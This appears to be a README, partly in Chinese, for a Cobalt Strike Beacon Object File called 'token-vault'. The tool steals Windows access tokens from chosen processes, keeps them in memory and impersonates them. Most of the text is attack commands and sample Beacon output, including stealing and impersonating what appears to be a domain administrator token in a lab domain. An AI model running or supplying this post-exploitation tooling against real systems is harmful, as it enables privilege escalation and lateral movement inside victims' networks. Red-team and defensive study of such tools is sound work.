
In-memory token vault BOF for Cobalt Strike
此 Beacon 对象文件 (BOF) 可在内存中创建用于存储已窃取/复制的 Windows 访问令牌的存储空间,使您能够:
make all 构建。token-vault.cna 攻击脚本加载到你的 Cobalt Strike 客户端。beacon> help token-vault
Available Commands:
Create a new token vault: token-vault create
Steal and store tokens: token-vault steal <comma separated list of PIDs> [vault-id]
Use the stored token: token-vault use <token-id> [vault-id]
Show the stored tokens: token-vault show [vault-id]
Remove the stored token: token-vault remove <token-id> [vault-id]
Remove all tokens: token-vault remove-all [vault-id]
Set the default token vault: token-vault set <vault-id>
token-vault create 命令会从 beacon 的堆中分配一个空的保险库。收到的输出包含保险库的内存地址(即 vault id),用于为其他 token-vault 命令指定保险库。
beacon> token-vault create
[*] Token Vault - create (@henkru)
[+] host called home, sent: 2991 bytes
[+] received output:
token vault created: 0000000000C31610
此外,可以将某个特定的 vault id 设置为默认保险库;当 token-vault 命令未包含 vault id 时,将使用该默认保险库。
beacon> token-vault set 0000000000C31610
需要注意的是,配置的默认保险库存储于 Cobalt Strike 客户端内部,且不在客户端之间共享。
token-vault steal 命令会复制指定进程的令牌,并将其存储到保险库中。
beacon> token-vault steal 6600,2608,5248
[*] Token Vault - steal (@henkru)
[+] host called home, sent: 3009 bytes
[+] received output:
6600: WINLAB\limited
[+] received output:
2608: WINLAB\limited2
[+] received output:
5248: WINLAB\admin
beacon> token-vault show
[*] Token Vault - show (@henkru)
[+] host called home, sent: 2999 bytes
[+] received output:
5248: WINLAB\admin
2608: WINLAB\limited2
6600: WINLAB\limited
token-vault use 命令模拟保险库中的某个令牌。如果该令牌不存在,则会先窃取并存储到保险库中。
beacon> token-vault use 2608
[*] Token Vault - use (@henkru)
[+] host called home, sent: 3001 bytes
[+] Impersonated WINLAB\limited
beacon> token-vault use 6384
[*] Token Vault - use (@henkru)
[+] host called home, sent: 3001 bytes
[-] token of 6384 not in the vault; try to get it.
[+] received output:
6384: WINLAB\da
[+] Impersonated WINLAB\da
token-vault remove 命令会从保险库中移除一个已存储的令牌。
beacon> token-vault remove 6600
[*] Token Vault - remove (@henkru)
[+] host called home, sent: 3001 bytes
[+] received output:
removed: 6600
此外,token-vault remove-all 命令可一次性移除所有令牌。